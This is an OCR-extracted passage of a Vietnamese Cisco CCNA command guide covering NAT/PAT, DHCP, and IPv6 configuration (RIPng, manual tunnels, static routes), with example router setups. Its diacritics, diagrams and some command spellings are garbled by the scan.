static route trén mot | 64.64.64.64 ISP, ngi ma ban sé gui cac

router remote, ¢ d6 dia chi| 255.255.255.128 goi tin vdi dia chi dich la

IP Public ciia ban d& dugc| s0/0/0 64.64.64.64

dinh tuyén 255.255.255.128.

Step 2: Tao mot Static | Corp(config)#ip nat Thuc hién chuyén ddi cé

mapping trén router cua| inside source static dinh dia chi IP bén trong

ban s& dugc si dung dé|172.16.10.5 172.16.10.5 thanh moét dia

thuc thi NAT. 64.64.64.65 chi IP Public 64.64.64.65.
Ban sé phai s dung cau
l&nh cho mbi mot dia chi
IP Private ma ban muén
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anh xa tinh véi moét dia chi
IP Public.

Step 3: Dinh nghia ra
nhirng interface c6 vai tro

la interface inside

Corp(config)#interface
fastethernet 0/0

Chuyén c8u hinh vao ché
do interface fa0/0.

Corp(config-if)#ip nat

inside

Ban cé thé cé nhiéu hon
mot interface inside trén

mot router.

Step 4: Dinh nghia nhing

interface va@i vai tro la

interface outside

Corp(config-if)#interface
serial 0/0/0

Chuyé&n cdu hinh vao ché
do interface s0/0/0.

Corp(config-if)#ip nat
outside

Pinh nghia interface
s0/0/0 la interface co6 vai

tro la outside.

. Kiém tra cdu hinh NAT va PAT

Router#show ip nat translations

Hién thi bang chuyén déi

Router#show ip nat statistics

Hién thi nhirng théng tin cua NAT.

Router#clear ip nat translations

inside a.b.c.d outside e.f.g.h

Xda théng tin chuyén déi cia bang NAT
trude khi thong tin do bi times out.

Router#clear ip nat translations*

Xda toan bd bang chuyén ddi trudc khi
thong tin doé bi time oute.

6. X ly 15i vdi cdu hinh NAT va PAT

Router#debug ip nat

Hién thi thdng tin v& nhitng goi tin da
dugc chuyén dai.

Router#debug ip nat detailed

Hién thi chi tiét vé nhitng godi tin da dudc

chuyén déi.

7. Cau hinh vi du: PAT
- Hinh 20-1 la s¢ d6 mang dudgc s dung cho viéc cdu hinh PAT.
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Hinh 20-1

1?2 16.10.10

)_
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Metwork 172.16.10.0/24

IP NAT

Inside | O

ISP Router

198.133.219.220

.

Metwork 168.133.215.0/30

ISP

1% 133 218,130 DCE g 192.31.7.1:24
r’ﬂg =

IP NAT

utside

router>enable

Chuyén c4u hinh vao ché& dé Privileged

router#configure terminal

Chuyén cdu hinh vao ché ddé Global

Configuration.

router(config)#host ISP

bat tén cho Router la ISP.

ISP(config)#no ip domain-lookup

Tat tinh nang tu déng phan giai khi ban

nhap cau lénh sai.

ISP(config)#enable secret cisco

Dat mat khiu enable secret 1a Cisco.

ISP(config)#line console 0

Chuyén cdu hinh vao ché& dd line console.

ISP(config-line)#login

Ngudgi dung sé phai dugc yéu cau nhap
théng tin truy cap khi két ndi vao router

théng qua port console.

ISP(config-line)# password class

D&t mat khiu cho truy cip console la

class.

ISP(config-line)#logging synchronous

Khéng cho phép ngat cau |énh sang dong
mai khi c6 log hién thi trén man hinh

console.

ISP(config-line) #exit

Trd vé ché do Global Configuration.

ISP(config)#interface serial 0/0/1

Chuyé&n cdu hinh vao ché dd interface
s0/0/1.

ISP(config-if)#ip address
198.133.219.2 255.255.255.252

Gan dia chi IP va subnet mask cho

interface s0/0/1

ISP(config-if)#clock rate 56000

Gan gia tri clock rate cho cap DCE gén

vao interface s0/0/1 cua router.

ISP(config-if)#no shutdown

Bat interface.

ISP(config-if)#interface loopback O

Tao interface loopback 0 va dbéng thdi
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chuyén cdu hinh vao ché dd interface
loopback 0.

ISP(config-if)#ip address
192.31.7.1255.255.255.255

Gan dia chi IP va Subnet mask cho

interface loopback 0.

ISP(config-if) #exit

Trd vé ché d6 cdu hinh Global

Configuration.

ISP(config)#exit

Trd vé ché d6 cdu hinh Privileged.

ISP#copy running-config
startupconfig

Lu file cdu hinh dang chay trén RAM vao
NVRAM.

Company Router

router>enable

Chuyén cu hinh vao ché d6 privileged.

router#configure terminal

Chuyén cdu hinh vao ché& dbé Global
Configuration.

router(config)#host Company

bat tén cho router la Company.

Company(config)#no ip domain-lookup

Tat tinh ndng tu déng phéan giai cau |énh
khi ban nhéap sai.

Company(config)#enable secret cisco

D&t méat kh& cho enable secret 1a cisco

Company(config)#line console 0

Chuyén cu hinh vao ché dé line console

Company(config-line)#login

Yéu cau ngudi dung phai nhap thong tin
truy cap khi thuc hién két nGi vao router

théng qua port console.

Company(config-line)# password class

P&t mat kh&du cho viéc truy cdp vao

router thong qua console la class.

Company(config-line)#logging

Khéng cho phép ngét cau Iénh sang dong

Synchronous md&i khi c6 log hién thi trén man hinh
console.
Company/(config-line) #exit Trd vé ché db6 cau hinh Global

Configuration.

Company(config)#interface
fastethernet 0/0

Chuyén cdu hinh vao ché& dd interface
fa0/0.

Company(config-if)#ip address
172.16.10.1 255.255.255.0

Gan dia chi IP va subnet mask cho

interface.

Company(config-if)#no shutdown

Bat interface.

Company(config-if)#interface serial
0/0/0

Chuyén cdu hinh vao ché dd interface
s0/0/0.

Company(config-if)#ip address
198.133.219.1 255.255.255.252

Gan dia chi IP va subnet mask cho
interface s0/0/0

Company/(config-if)#no shutdown

Bat interface.
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Company/(config-if) # exit

Trd vé ché d0 cdu hinh Global

Configuration.

Company(config)#ip route 0.0.0.0
0.0.0.0 198.133.219.2

Cau hinh default route static.

Company(config)#access-list 1 permit
172.16.10.0 0.0.0.255

Tao mét ACL dé cho phép dia chi IP
Private c6 thé dugc NAT.

Company(config)#ip nat inside source

list 1 interface serial 0/0/0 overload

Tao Nat bang céch gan list 1 véi interface
s0/0/0. Phucong phap Overloading sé
dudc thuc thi.

Company(config)#interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd interface
fa0/0.

Company(config-if)#ip nat inside

Gan vai tro cho interface fa0/0 Ia

interface inside.

Company(config-if)#interface serial
0/0/0

Chuyén ciu hinh vao ché& dd interface
s0/0/0.

Company(config-if) #ip nat outside

Gan vai tro cho interface s0/0/0 Ila

interface outside.

Company/(config-if)# ctrl -Z

Trd vé ché do cau hinh Privileged.

Company#copy running-config

startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

Chuong 21: DHCP

Chuong nay sé cung cdp nhitng thong tin va cac cau Iénh c6 lién quan dén nhitng cha dé

sau:
- Cau hinh DHCP
- Kiém tra va xtr ly 16i v6i c&u hinh DHCP

- Cau hinh dia chi DHCP helper

- DHCP Client trén mot Cisco I0S software Ethernet Interface

- Cau hinh vi du: DHCP

1. Cau hinh DHCP

Router(config)#ip dhcp pool

Internal

Tao mot DHCP pool tén la internal.

Router(dhcp-config) #network
172.16.10.0 255.255.255.0

Chi ra dai dia chi IP s& dugc dung dé cap
cho cac DHCP Client.

Router(dhcp-config) #defaultrouter

Chi ra dia chi IP cua default gateway cho
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172.16.10.1

cac DHCP client.

Router(dhcp-config) #dns-server
172.16.10.10

Chi ra dia chi IP clia DNS server cho cac
DHCP Client.

Router(dhcp-config) # netbiosname-
server 172.16.10.10

Chi ra dia chi IP clla NetBIOS server cho
cac DHCP Client.

Router(dhcp-config)#domain-name

fakedomainname.ca

binh nghia tén mién cho cac client.

Router(dhcp-config) #
lease 14 12 23

Pinh nghia thdi gian dé€ cép dia chi IP cho
mdi DHCP Client 1a: 14 ngay, 12 gid, va
23 phat.

Router(dhcp-config) #lease

Infinite

Thai gian cdp dia chi IP cho cac DHCP
client khong c6 thgi han.

Router(dhcp-config) # exit

Trd vé ché dbé cau hinh Global

Configuration.

Router(config)#ip dhcp
excludedaddress 172.16.10.1
172.16.10.9

Cau hinh dai dia chi IP khong dugc phép
cap dong cho cac DHCP Client.

Router(config) #service dhcp

Bat dich vu DHCP va tinh nang relay trén
Cisco IOS router.

Router(config)#no service dhcp

T&t dich vu DHCP trén Cisco Router. Dich
vu DHCP sé dugc bat mac dinh trén céac

Cisco IOS Software.

2. Kiém tra va x{ ly 16i véi cau hinh DHCP

Router#show ip dhcp binding

Hién thi danh sach cla tat ca cac dia chi
IP da dugc cap cho cac DHCP client.

Router#show ip dhcp binding

W.X.Y.Z

Hién thi duy nhé&t thdng tin vé dia chi IP
w.x.y.z da dugc cap cho DHCP Client.

Router#clear ip dhcp binding
a.b.c.d

Xba thong tin vé dia chi IP a.b.c.d da
dudgc cdp cho DHCP client tir DHCP

database.

Router#clear ip dhcp binding *

Xoéa toan bo danh sach théng tin dia chi
IP da dudc cdp cho DHCP client trong
DHCP database.

Router#show ip dhcp conflict

Hién thi danh sach cla t&t ca nhitng dia
chi IP bi trung.

Router#clear ip dhcp conflict
a.b.c.d

Xda nhitng dia chi IP bi tring tir cg s& dir

liéu.

Router#clear ip dhcp conflict *

Xoa tat ca nhitng dia chi IP bi trung tur co
sq dir liéu.
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Router#show ip dhcp database

Hién thi co s& dir liéu DHCP da hoat dong
gan day nhat.

Router#show ip dhcp server
Statistics

Hién thi danh sach cua nhitng théng diép
da gui va nhén bdgi DHCP server.

Router#clear ip dhcp server

Statistics

Khai tao lai b0 dém cua DHCP server trg

vé 0.

Router#debug ip dhcp server
{events | packets | linkage | class}

Hién thi tién trinh x& ly dia chi IP dugc
tra lai va dugc cap.

3. C4u hinh DHCP Helper Address

Router(config) #interface fastethernet
0/0

Chuyén céu hinh vao ché& dd interface.

Router(config-if)#ip helperaddress
172.16.20.2

Céc goi tin DHCP broadcast sé dugc phép
chuyén tiép nhu mdt gdi tin unicast dén
dia chi IP da dudc chi dinh, thay vi phai
hay goi tin dé.

* Chul y: Cau lénh ip helper-address s& chuyén tiép cac gdi tin broadcast nhu nhitng géi
tin unicast bédi 8 port UDP khac nhau theo mac dinh:

- TFTP (port 69)

- DNS (port 53)

- Time service (port 37)

- NetBIOS name server (port 137)

- NetBIOS datagram server (port 138)

- Boot Protocol (BOOTP) client va server datagrams (port 67 va 68)

- TACACS service (port 49)

- Néu ban muén déng mdt s6 nhitng port trén, ban cé thé s dung céu Iénh no ip forward-
protocol udp x & ché do global configuration, trong dé x la chi sé port ma ban muén dong.
Cau Iénh sau sé& dugc sir dung dé tam dirng tinh ndng chuyén tiép cac gdi tin broadcast bdi
port 49 :

Router(config)#no ip forward-protocol udp 49

- Néu ban muén ma mét port UDP nao khéc, ban cé thé sir dung céu Iénh ip forward-

helper udp x, trong doé x la chi s6 port ma ban mudén ma:

Router(config) #ip forward-protocol udp 517

4. DHCP Client trén mot Cisco I0S software Ethernet Interface

Router(config) #interface fastethernet | Chuyén ciu hinh vao ché dd interface
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0/0 fa0/0.
Router(config-if)#ip address dhcp Chi ra interface nay can moét dia chi IP tir

mot DHCP server.

5. Vi du cau hinh: DHCP
- Hinh 21-1 13 s d mang dudc s dung dé& ciu hinh DHCP, nhitng cdu Iénh dugc st dung
trong vi du ndy dé& c8u hinh cac dich vu cia DHCP s& chi ndm trong pham vi cla chudng

nay.

Hinh 21-1

MNetBIOS Server DMNE Server
10002‘8 10.0.0.3/8

.—J —jl'g.i'

Edmonton
Is an 105
DHCP

SQV \ / \
= DHCP Client

- 15!216&12.30 ~ f
1921533 124
Edman’ CCE m”l ’ "‘“_ —-— /_,y
192.168.1.9130 | Gibbong

Network 10.0.0.0/8 MNetwork 192.168.1.0/30 Network 192.188.3.0.‘24

eV
19216831724

Edmonton Router

router>enable Chuyén cau hinh vao ché dé privileged

router#configure terminal Chuyén cdu hinh vao ché dé global

configuration.

router(config) #host Edmonton bat tén cho router la Edmonton.
Edmonton(config) #interface Chuyé&n cdu hinh vao ché& dd interface
fastethernet 0/0 fa0/0.

Edmonton(config-if) #description Dat 16i mo ta cho interface.

LAN Interface

Edmonton(config-if)#ip address Gan dia chi IP va subnetmask cho
10.0.0.1 255.0.0.0 interface.

Edmonton(config-if)#no shutdown Bat interface.

Edmonton(config-if) #interface Chuyén cdu hinh vao ché dd interface
serial 0/0/0 s0/0/0.

Edmonton(config-if) #description Pat 16i mo ta cho interface.

Link to Gibbons Router

Edmonton(config-if)#ip address Gan dia chi IP va subnet mask cho
192.168.1.2 255.255.255.252 interface.
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Edmonton(config-if)#clock rate
56000

Cau hinh clockrate cho interface.

Edmonton(config-if)#no shutdown

Bat interface.

Edmonton(config-if) #exit

Trd vé ché& do cau hinh

configuration.

global

Edmonton(config)#router eigrp 10

C4u hinh giao th&c dinh tuyén EIGRP

hoat dong trén router vai AS la 10.

Edmonton(config-router)#network
10.0.0.0

Quang ba mang dang két ndi truc tiép

vao interface trén router.

Edmonton(config-router)#network
192.168.1.0

Quang ba mang dang két ndi truc ti€p

vao interface trén router.

Edmonton(config-router)#exit

Trd vé ché do6 cau hinh global

configuration.

Edmonton(config)#service dhcp

Bat dich vu DHCP server trén router.

Edmonton(config)#ip dhcp pool
10network

Tao mot DHCP pool tén la 10network

Edmonton(dhcp-config) # network
10.0.0.0 255.0.0.0

C&u hinh dai dia chi IP dudc s dung dé
cap cho cac DHCP Client.

Edmonton(dhcp-config) #defaultrouter
10.0.0.1

Chi ra dia chi IP cla default gateway
dudc st dung dé cp cho céc client.

Edmonton(dhcp-config) #netbiosname-
server 10.0.0.2

Chi ra dia chi IP clia NetBIOS server dudc
s dung dé& cap cho cac DHCP client.

Edmonton(dhcp-config) #dns-server
10.0.0.3

Chi ra dia chi cia DNS server dugc s
dung dé& cap cho cadc DHCP client.

Edmonton(dhcp-config) #domain-name

fakedomainname.ca

bat tén mién cho cac DHCP client.

Edmonton(dhcp-config) #lease 12 14
30

Gan thdi gian cdp dia chi IP cho cac
DHCP client la 12 ngay 14 giG va 30
phat.

Edmonton(dhcp-config) #exit

Trd vé ché d0 cdu hinh Global

configuration.

Edmonton(config) #ip dhcp
excludedaddress
10.0.0.1 10.0.0.5

Cdu hinh dai dia chi IP dugc s dung

riéng cho viéc cap tinh.

Edmonton(config)#ip dhcp pool
192.168.3network

Tao mot DHCP pool thd hai tén la

192.168.3network.

Edmonton(dhcp-config) # network
192.168.3.0 255.255.255.0

C&u hinh dai dia chi IP dudc s dung dé
cap cho cac DHCP client.

Edmonton(dhcp-config) #defaultrouter
192.168.3.1

Chi ra dia chi IP cua Default gateway
dudc sir dung bdi cac DHCP Client.
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Edmonton(dhcp-config) #netbiosname-
server 10.0.0.2

Chi ra dia chi IP cua Netbios server dugc
st dung bgi cac DHCP client.

Edmonton(dhcp-config) #dns-server
10.0.0.3

Chi ra dia chi IP cua DNS server dugc sur

dung bgi cac DHCP client.

Edmonton(dhcp-config) #domain-name

fakedomainname.ca

Pat tén mién cho cac DHCP client.

Edmonton(dhcp-config) #lease 12 14
30

Gan thgi gian cdp dia chi IP cho cac
DHCP client la 12 ngay 14 gid 30 phut.

Edmonton(dhcp-config) #exit

Trd vé ché d0 cdu hinh Global

Configuration.

Edmonton(config) #exit

Trd vé ché d6 Privileged.

Edmonton#copy running-config

startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

Gi

bbons Router

router>enable

Chuyén céu hinh vao ché& dd Privileged

router#configure terminal

Chuyén cdu hinh vao ch& dd global

Configuration.

router(config)#host Gibbons

bat tén cho router la Gibbons

Gibbons(config)#interface
fastethernet 0/0

Chuyé&n cdu hinh vao ché& dd interface
fa0/0

Gibbons(config-if) #description
LAN Interface

bat I6i mo ta cho interface.

Gibbons(config-if)#ip address
192.168.3.1 255.255.255.0

Gan dia chi IP va subnet mask cho

interface.

Gibbons(config-if)#ip helperaddress
192.168.1.2

Cac gdi tin DHCP broadcast van sé& dudc

chuyén tiép nhu mét géi tin unicast dén
dia chi IP da dudc chi ra, thay vi phai hay

goi tin dé.

Gibbons(config-if)#no shutdown

Bat interface.

Gibbons(config-if)#interface
serial 0/0/1

Chuyé&n cdu hinh vao ché& dd interface
s0/0/1.

Gibbons(config-if)#description

Link to Edmonton Router

bat I16i mo ta cho interface.

Gibbons(config-if)#ip address
192.168.1.1 255.255.255.252

Gan dia chi IP va subnet mask cho

interface.

Gibbons(config-if)#no shutdown

Bat interface.

Gibbons(config-if) # exit

Tr6 vé ché d6 cau hinh Global

configuration.

Gibbons(config)#router eigrp 10

Cho phép router chay giao thic dinh
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tuyén EIGRP vdi gia tri AS la 10

Gibbons(config-router) #network
192.168.3.0

Thuc hién quang ba mang dang két ndi

truc ti€p vdi interface cua router.

Gibbons(config-router)#network
192.168.1.0

Thuc hién quang ba mang dang két ndi
truc ti€p vdi interface cua router.

Gibbons(config-router) #exit

Tra vé ché do Global configuration.

Gibbons(config) #exit

Trg vé ché do Privileged.

Gibbons#copy running-config

startup-config

Luu file cadu hinh dang chay trén RAM vao
NVRAM.

Chuong 22: Ipv6

Chuong nay sé cung cdp nhitng thong tin va cac cau Iénh c6 lién quan dén nhitng cha dé

sau:
- Gan dia chi Ipv6 cho interface

- Ipv6 va RIPng

- Cau hinh vi du: Ipv6 RIP

- Ipv6 Tunnels: Manual overlay tunnel
- Static route trong Ipv6

- Floating static route trong Ipv6

- Kiém tra va xt ly su c6 Ipv6

- Ipv6 ping

1. Gan dia chi Ipv6 cho interface

Router(config) #ipv6

unicast-routing

B4t tinh ndng chuyén ti€p cac gdi tin

Ipv6 unicast & ché do global trén router

Router(config) #interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd interface
fa0/0.

Router(config-if)#ipv6 enable

Tu dong cau hinh mét dia chi Ipv6 link-
local trén interface va cho phép cac tién

trinh x(r ly Ipv6 trén interface.

* Chu y: bia chi Link-local dugc cdu hinh
bdng clu lénh ipv6 enable cé thé dugc
s dung duy nhét dé giao tiép vdi nhing

may trén cung mot lién két.

Router(config-if)#ipv6 address

Cdu hinh mot dia chi Ipv6 global trén
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3000::1/64 interface va cho phép Ipv6 cé thé dudc

xUr ly trén router.

Router(config-if)#ipv6 address C&u hinh mot dia chi Ipv6e véi moét dinh
2001:db8:0:1::/64 eui-64 danh cua interface trong low-order 64
bits cta dia chi Ipv6.
Router(config-if)#ipv6 address Cau hinh mot dia chi Ipv6 link-local dac
fe80::260:3eff:fe47:1530/64 biét trén interface thay vi tu dong cau
linklocal hinh khi Ipv6é dudc cho phép chay trén
interface
Router(config-if)#ipv6 unnumbered Chi ra mot interface st dung dia chi Ipv6
type/number clla mot interface khac d& cdu hinh dia

chi Ipv6 va dong thdi cho phép Ipv6 cd
thé dudc xU ly trén interface. Dia chi
Ipv6 global cla interface dugc chi ra bdi
type/number sé dudc sir dung nhu mot

dia chi nguon.

. Ipv6 va RIP

Router(config) #interface Chuyén céu hinh vao ché dé interface.
serial 0/0

Router(config-if)#ipv6 rip tower Tao mot tién trinh x&r ly chda RIPng la
Enable tower va cho phép RIPng hoat déng trén

interface

Cha y: Khong giébng nhu véi RIPvl va
RIPv2, ban can phai tao ti€n trinh x{r ly
cla RIP vdi cau lénh router rip va sau
dé st dung ciu lénh network dé chi ra
nhitng interface nao sé tham ra vao qua
trinh dinh tuyén cta RIP. Tién trinh x ly
cua RIPng sé dudc tao tu dong khi RIPng
dugc cho phép chay trén interface vdéi

cau lénh ipv6 rip name enable.

Chu y: Phdn mém Cisco I0S sé tu dong
tao mot danh sach cdu hinh cho tién
trinh dinh tuyén clda RIPng khi né dugc
phép chay trén interface.

Cha y: Cau Iénh ipv6 router rip
process-name van s& can thiét khi tinh

nang tuy chon ctia RIPng dugc cau hinh.

Router(config)#ipv6 router rip Tao mot tién trinh dinh tuyén cua RIPng
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Tower tén la tower néu nd chua thuc su dugc
tao, va chuyén vao ché& ddé ciu hinh

router.

Router(config-router)# maximumpaths binh nghia gia tri I6n nhat cda cac dudng
2 di c6 cost b&ng nhau ma RIPng cé thé hd
trg la 2.

* Chu y: S6 dudng di I6n nhdt cb thé
dugc sir dung la tr 1 dén 16. Theo mac
dinh la 4.

3. Cau hinh vi du: Ipv6 RIP

- Hinh 22-1 la s@ d6 mang dudgc st dung cho vi du cau hinh Ipv6 RIP, nhitng cau Iénh dugc

s dung trong vi du nay sé& chi nam trong pham vi cGia chudng nay.

Hinh 22-1

Network
e 2001:dbB:c18:2::/64 e
=" fallD e T
Ausﬁn‘ 00 | Housto ..
fa0/ -
E
= =
- MNetwork - Network
2001:db8:c18:1::/64 2001:dbB:c:18:3:/64
Austin Router
Router>enable Chuyén c&u hinh vao ché dd Privileged
Router#configure terminal Chuyén cdu hinh vao ché& dbé global
Configuration.
Router(config)#hostname Austin bat tén cho router la Austin.
Austin(config)#ipv6 unicastrouting Cho phép chuyén tiép cac géi tin Ipv6
unicast & ché do global trén router.
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Austin(config)#interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd interface
fa0/0.

Austin(config-if)#ipv6 enable

Cau hinh tu déng mot dia chi Ipv6 link-
local trén interface va cho phép xtr ly cac

tin Ipv6 trén interface.

Austin(config-if)#ipv6 address
2001:db8:c18:2::/64 eui-64

C&u hinh mot dia chi Ipv6 global véi dinh
danh cua interface trong low-order 64

bits cua dia chi Ipv6.

Austin(config-if)#ipv6 rip tower
Enable

Tao mot tién trinh xr ly chda RIPng la
tower va cho phép RIPng hoat dong trén
interface

Austin(config-if)#no shutdown

Bat interface.

Austin(config-if) #interface
fastethernet 0/1

Chuyén cdu hinh vao ché dd interface
fa0/1.

Austin(config-if)#ipv6 enable

Cau hinh tuy dong mot dia chi Ipv6 link-
local trén interface va cho phép xur ly cac

tin Ipv6 trén interface.

Austin(config-if) #ipv6 address
2001:db8:c18:1::/64 eui-64

C&u hinh mot dia chi Ipv6 global véi dinh
danh cua interface trong low-order 64
bits cta dia chi Ipv6.

Austin(config-if)#ipv6 rip tower
Enable

Tao mot tién trinh x& ly chda RIPng la
tower va cho phép RIPng hoat dong trén
interface

Austin(config-if)#no shutdown

Bat interface.

Austin(config-if) # exit

Trd vé ché d0 cdu hinh Global

Configuration.

Austin(config) #exit

Trd vé ché d6 cdu hinh Privileged.

Austin#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

Houston Router

Router>enable

Chuyén c4u hinh vao ché& dé Privileged

Router#configure terminal

Chuyén cdu hinh vao ch& dé global

Configuration. Router(config)#hostname

Houston

Pat tén cho router la Houston.

Houston(config) #ipv6 unicastrouting

Cho phép chuyén ti€p cac gdéi tin Ipv6

unicast & ché do global trén router.

Houston(config) #interface
fastethernet 0/0

Chuyén cdu hinh vao ché dé interface
fa0/0.

Houston(config-if)#ipv6 enable

Cau hinh tu dong moét dia chi Ipv6é link-
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local trén interface va cho phép xur ly cac

tin Ipv6 trén interface.

Houston(config-if) #ipv6 address
2001:db8:c18:2::/64 eui-64

C&u hinh mot dia chi Ipv6 global véi dinh
danh cua interface trong low-order 64
bits cta dia chi Ipv6.

Houston(config-if) #ipv6 rip tower
Enable

Tao mot tién trinh x& ly cda RIPng la
tower va cho phép RIPng hoat dong trén

interface

Houston(config-if)#no shutdown

Bat Interface.

Houston(config-if) #interface
fastethernet 0/1

Chuyén cdu hinh vao ché dd interface
fa0/1.

Houston(config-if) #ipv6 enable

C&u hinh tu dong mot dia chi Ipv6 link-
local trén interface va cho phép xur ly cac

tin Ipv6 trén interface.

Houston(config-if) #ipv6 address
2001:db8:c18:3::/64 eui-64

C&u hinh moét dia chi Ipv6 global véi dinh
danh cula interface trong low-order 64
bits cta dia chi Ipv6.

Houston(config-if) #ipv6 rip tower
Enable

Tao moét tién trinh xr ly cda RIPng la
tower va cho phép RIPng hoat dong trén
interface

Houston(config-if)#no shutdown

Bat interface.

Houston(config-if) #exit

Trd vé ché do Global Configuration.

Houston(config) #exit

Tra vé ché do Privileged.

Houston#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM,

4. Ipv6 Tunnels: Manual Overlay Tunnel

* Chu y: Mac du phan nay khéng co trong ky thi CCNA, nhung khai niém vé Ipv6 tunnels la
mot van d& ma ngudi quan tri mang can phai hiéu rd.

- Hinh 22-2 1a sd d mang dudc s dung dé€ cdu hinh Ipv6 tunnels.
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Hinh 22-2

IPwvis Host IPvis Host
L:—’*_) L=
Dual-Stack Dual-Stack
Router IPw4 Tunnel Router
1Pv6 G 0= S IPve
Network tacio § JUHSM‘HFW’ 12010 Metwork
2007 :db&c0ia i 1181484 200 :db@:cd 11181 /64

Juneau Tunnel O

2001 :dbdc003:1104::1/64
Source 30/0-10.1.1.1
Destination 10.1.1.2

Juneau Router

101.1.1/24 F
10112724

Fairbanks Tunnel 0

2001 :db8&:c003:1104: :2/64
Source 50/0 —10.1.1.2
Destination 10.1.1.1

Router>enable

Chuyén céu hinh vao ché& dd Privileged

Router#configure terminal

Chuyén cdu hinh vao ch& ddé Global

Configuration. Router(config)#hostname

Juneau

Dat tén router la Juneau

Juneau(config) #ipv6 unicastrouting

Cho phép chuyén tiép cac gdi tin Ipve

unicast & ché do global trén router.

Juneau(config)#interface tunnel0

Chuyé&n cdu hinh vao ché dd interface

tunnel

Juneau(config-if) #ipv6 address
2001:db8:c003:1104::1/64

Gan mot dia chi IP v6 cho interface.

Juneau(config-if)#tunnel source
serial 0/0

Chi ra

interface.

interface ngudon cho tunnel

Juneau(config-if)#tunnel
destination 10.1.1.2

Chi ra dia chi dich Ipv4 cho tunnel

interface.

Juneau(config-if)#tunnel mode
ipv6ip

Dinh nghia Ipv6 tunnel manual; dac biét,
Ipv6 dong vai nhu la data va Ipv4 vua la
giao thlrc dudc s dung dé ddng gdi dir
liéu va vUura la giao thdc cho Ipv6 tunnel.

Juneau(config-if)#interface
fastethernet 0/0

Chuyén cdu hinh vao ché& dd interface
fa0/0.

Juneau(config-if)#ipv6 address
2001:db8:c003:111e::1/64

Gan moét dia chi Ipv6é cho interface fa0/0.

Juneau(config-if)#no shutdown

Bat interface.

Juneau(config-if)#interface serial
0/0

Chuyén cdu hinh vao ché ddé Interface
s0/0.

Juneau(config-if)#ip address
10.1.1.1 255.255.255.252

Gan mot dia chi Ipv4 va subnetmask cho

interface.

Juneau(config-if)#clock rate 56000

Gan gia tri Clock rate cho interface.

Juneau(config-if)#no shutdown

Bat interface.
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Juneau(config-if) #exit

Trd vé ché do Global configuration.

Juneau(config) #exit

Tra vé ché do Privileged.

Juneau#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

Fairbanks Router

Router>enable

Chuyén cdu hinh vao ché dé Privileged

Router#configure terminal

Chuyén cdu hinh vao ché dd global

Configuration.

Router(config) #hostname Fairbanks

bat tén cho router la Fairbanks

Fairbanks(config) #interface
tunnel0

Chuyén cdu hinh vao ché& dd interface

tunnel

Fairbanks(config-if)#ipv6 address
2001:db8:c003:1104::2/64

Gan mot dia chi Ipvé cho interface tunnel
0.

Fairbanks(config-if)#tunnel source
serial 0/0

Chi ra interface ngudon cho tunnel

interface.

Fairbanks(config-if)#tunnel
destination 10.1.1.1

Chi ra dia chi IP dich cho interface

tunnel.

Fairbanks(config-if)#tunnel mode
ipv6ip

binh nghia Ipv6 tunnel manual; dac biét,
Ipv6 dong vai nhu la data va Ipv4 via la
giao thlc dugc sir dung dé déng gdi dir

liéu va vura la giao thirc cho Ipv6 tunnel.

Fairbanks(config-if) #interface
fastethernet 0/0

Chuyén cdu hinh vao ché dd interface
fa0/0.

Fairbanks(config-if)#ipv6 address
2001:db8:c003:111f::1/64

Gan mot dia chi Ipv6 cho interface fa0/0.

Fairbanks(config-if)#no shutdown

Bat interface.

Fairbanks(config-if) #interface
serial 0/0

Chuyén cdu hinh vao ché dd interface
s0/0.

Fairbanks(config-if)#ip address
10.1.1.2 255.255.255.252

Gan dia chi Ipv4 va subnet mask cho

interface s0/0.

Fairbanks(config-if)#no shutdown

Bat interface.

Fairbanks(config-if) #exit

Trd vé ché dd cau hinh Global

Configuration.

Fairbanks(config) # exit

Trd vé ché d6 cdu hinh Privileged.

Fairbanks#copy running-config
startup-config

Luu file cau hinh dang chay trén RAM vao
NVRAM.

5. Cau hinh Static Route trong Ipv6

* Cha y: Mac du phan nay khéng chira trong bai thi CCNA, nhung khai niém vé static route

trong Ipv6 la mét yéu té rat quan trong ma ngudi quan tri mang can phai Idm dugc.
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- D& tao mdt static route trong Ipv6, ban sé& sir dung cung ciu Iénh nhu khi tao static route
trong Ipv4.

- Hinh 22-3 la s¢ d6 mang dudgc sir dung cho vi du cdu hinh Static Route trong Ipv6. Chu vy,
duy nhét nhitng static route trén router Austin s& dudc hién thi.

Hinh 22-3
Metwork

5 2001:db8:c18:2::/64 —

"'"-‘;._.. =~ 1a0/0 2001 :clbB:c18:2::2/64 I_h‘-_'}:.’-n.__

| Ausﬁn:’ 2001 :dbB:c18:2:1/64 fa0/0 & Houstor”

fa0/d
fanH
MNetwork Metwork
2001 :db8:c18:1::/64 2001:db8:c:18:3:/64
Austin(config) #ipv6 route Tao mét static route, dugc cdu hinh dé

2001:db8:c18:3::/64

2001:db8:c18:2::2/64 gui tat cd cac gdéi tin dén mot dia chi

2001:db8:c18:2::2

Austin(config)#ipv6 route Tao mot static route két ndi truc tiép dé

2001:db8:c18:3::/64 fastethernet e imn 2 T .

0/0 gui tat ca cac goi tin ra ngoai interface
fa0/0.

Austin(config)#ipv6 route Tao mot static route dac biét trén mot

2001:db8:c18:3::/64 fastethernet broadcast interface

0/0 2001:db8:c18:2::2 :

6. Floating Static route trong Ipv6

* Chu y: Mac du phan nay khong chra trong bai thi CCNA, nhung khai niém vé static route
trong Ipv6 la mét yéu té rat quan trong ma ngudi quan tri mang can phai Id8m dugc.

- D€ tao mdt static route vdi gid tri Administrative Distance (AD) dudc gan |a 200, thay vi
dung gia tri AD méac dinh 1a 1, ban c6 thé nhép vao ciu Iénh sau:

Austin(config)# ipv6 route 2001:db8:c18:3::/64 fastethernet 0/0 200

- Gia tri mac dinh cia AD dudc s dung trong Ipv6 cung gia tri AD dugc s dung trong
Ipv4.
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7. Ki€ém tra Ipvé6
* Chu y: s dung cdu lénh debug c6 thé s& lam anh hudng dén kha ndng thuc thi cua

router va dan dén co thé khai dong lai router. Ban chi nén sl dung cau lénh debug khi can

thu th&p thong tin, va sau dé cén phai tat debugging véi cau Iénh undebug all.

Router#clear ipv6 rip

Xoéa tat cad cac route dudgc hoc bdi giao
